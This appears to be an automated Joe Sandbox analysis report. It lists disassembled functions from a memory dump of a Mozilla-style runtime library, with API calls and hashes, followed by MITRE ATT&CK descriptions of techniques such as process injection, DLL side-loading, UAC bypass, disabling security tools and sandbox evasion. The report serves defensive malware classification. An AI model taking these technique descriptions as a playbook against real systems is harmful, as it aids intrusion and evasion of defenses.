Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction ID: 5aff77c52a83a249f610f6a40117f5f17253505299baa17352f2cf3b02d9aadf
Opcode Fuzzy Hash: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction Fuzzy Hash: 6F41B171A09745CFC301CF28C481A9BB7F4AFCA388F544B1DF985A7611D730E9698B8A

Function 6C693CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693D19
mozalloc_abort.MOZGLUE(?), ref: 6C693D6C

Strings

d, xrefs: 6C693D58

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction ID: ae81405fb39a1e9092750637fc88ed10a7b0fe2e72f912b9bd23e2162f856e3d
Opcode Fuzzy Hash: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction Fuzzy Hash: 8111C435E0468997DB008F6ACC644EDB7B5EF86318F458229DD4997622EB30A688C398

Function 6C664730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

Strings

GetNtLoaderAPI, xrefs: 6C664744

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 78dfa4fb716573518b43c0f1a020c6b746ea867a88cea7b9670a073a242487cd
Instruction ID: 595a1f3882f97951bc1bda5507ffae1b5ff0c44f644422ab8216b1f9724919fd
Opcode Fuzzy Hash: 78dfa4fb716573518b43c0f1a020c6b746ea867a88cea7b9670a073a242487cd
Instruction Fuzzy Hash: 9A0192757082148FDF00AFA7C4D4629BBB9EB8B321F05046AEA05C7700DB70E8018FDA

Function 6C6B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6B6E22
__Init_thread_footer.LIBCMT ref: 6C6B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6B6E1D

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction ID: bcd68a56edc4a956bdd073aa2d8006e056c651a881adc380280f84d7f154e701
Opcode Fuzzy Hash: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction Fuzzy Hash: 2DF02E302492C08BDB008B69C8A1A9173B29303318F080165F80196FA2CB31F627CFAF

Function 6C669E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C669EEF

Strings

Infinity, xrefs: 6C669EB7
NaN, xrefs: 6C669EC1

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction ID: c4194f2a258d45e7e49048328d94766e7d17b0c02063ac6c994417b112666e3a
Opcode Fuzzy Hash: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction Fuzzy Hash: E1F06D71601641CBDB00CF5AD8C5B9033F1B74771DF250A19C9440AF81D7767646CA9F

Function 6C666C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C42

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C58

Strings

0Kil, xrefs: 6C666C33, 6C666C41, 6C666C57

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kil
API String ID: 1967447596-1570486273
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 47a2848e409718a8f1d8a2683fe2594ab049f9b896a105d641ef50186a662689
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F4E086F1A10D455B9F08D97FAC0956A71C88B553AC7044A35E823C6FC8FAB4E550815F

Function 6C663850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C6DF860), ref: 6C66385C
ReleaseSRWLockExclusive.KERNEL32(6C6DF860,?), ref: 6C663871

Strings

,ml, xrefs: 6C66387A

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,ml
API String ID: 17069307-2011709430
Opcode ID: 0d0956604974530897a4ba8b7727f651a48ce739f5daf58c3049dd481df3611d
Instruction ID: 00fa472585672111d06e3571410fb36d97cae3e71abd384864b2b2c2593cfef1
Opcode Fuzzy Hash: 0d0956604974530897a4ba8b7727f651a48ce739f5daf58c3049dd481df3611d
Instruction Fuzzy Hash: 4EE0DF31A55A1897C7119F9794415CA7BB8EF4779070A8019F40A17E00C730F1808ACF

Function 6C66BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C66BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C66BEF5

Strings

cryptbase.dll, xrefs: 6C66BEF0

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction ID: 44563a522ee1324380eaf9a3347d73bdea828b5c897ecfb4e6088c6321dae0f1
Opcode Fuzzy Hash: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction Fuzzy Hash: F7D0A731184209E6C7006B528C05B2937749782795F10C020F30544C52C7B0B413DF4D

Function 6C6AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB628

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C6AB127,?,?,?,?,?,?,?,?), ref: 6C6AB74D

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction ID: 085effcad87eddf0045659a872f45dad84b52f8dd6c581acd935d8d6010fba1a
Opcode Fuzzy Hash: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction Fuzzy Hash: 2251D071A0121A8FDB14CF98C98076EB7B1FF85308F55852DC85AAB710D771EC06CBA9

Function 6C6ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C69FF2A), ref: 6C6ADFFD

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C69FF2A), ref: 6C6AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C69FF2A), ref: 6C6AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C69FF2A), ref: 6C6AE0FE

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: cabe91f4908b1c6f856e5c9787874f3b5c8f45639306af4e38530e3ed047097a
Instruction ID: e21ff0582001f1c578717a04a0280a70c0edc5aa316f26e7165c00677b0be3f0
Opcode Fuzzy Hash: cabe91f4908b1c6f856e5c9787874f3b5c8f45639306af4e38530e3ed047097a
Instruction Fuzzy Hash: 9441C1B16042168FEB14CFA9C89075A73B2AF46308F14493DD516DB740E732ED26CBAA

Function 6C6A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C6A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C6A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A6F5C

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction ID: 0bc45efbc56a15fb90265375e450124e3aef0bdf4470a3bdb9cd26a8f81ef013
Opcode Fuzzy Hash: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction Fuzzy Hash: 7C31F871A1060A8FDB04CF6CC980AAA73FAFB95304F50413DD41AC7651EF31E95AC794

Function 6C6BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C660A4D), ref: 6C6BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C660A4D), ref: 6C6BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C660A4D), ref: 6C6BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C660A4D), ref: 6C6BB67F

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction ID: 8faa6fbec7cdb6eb0e23bb9a89ffa2cdca4c2045baff36eeb0e7f7c129bded36
Opcode Fuzzy Hash: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction Fuzzy Hash: 1C31D471A012168FDB10CF59C8C469ABBB5FFC5304F168669C846EB201EB31ED25CBA5

Function 6C68F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F668

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: fd0c959764e2c6f652b47417bb4cdd4b4b8c15a0ef4d9854fa31841a68e36b3a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 95316F71B00214AFC714CF1DDCC0A9B7BB5EB94354B148538FA4A8BB04D732E9448BAA

Function 6C6A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26C1
free.MOZGLUE(?), ref: 6C6A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26FF
free.MOZGLUE ref: 6C6A270D

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction ID: da9dc1a29145f47382f95be9498f80c97c9091a0ac98734626d699cba01f1fb2
Opcode Fuzzy Hash: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction Fuzzy Hash: EFF0F9B27012046BE7109E5AD8C4D4773A9EF4131CB100035EA1EC3B11E332FD1AC6AE

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

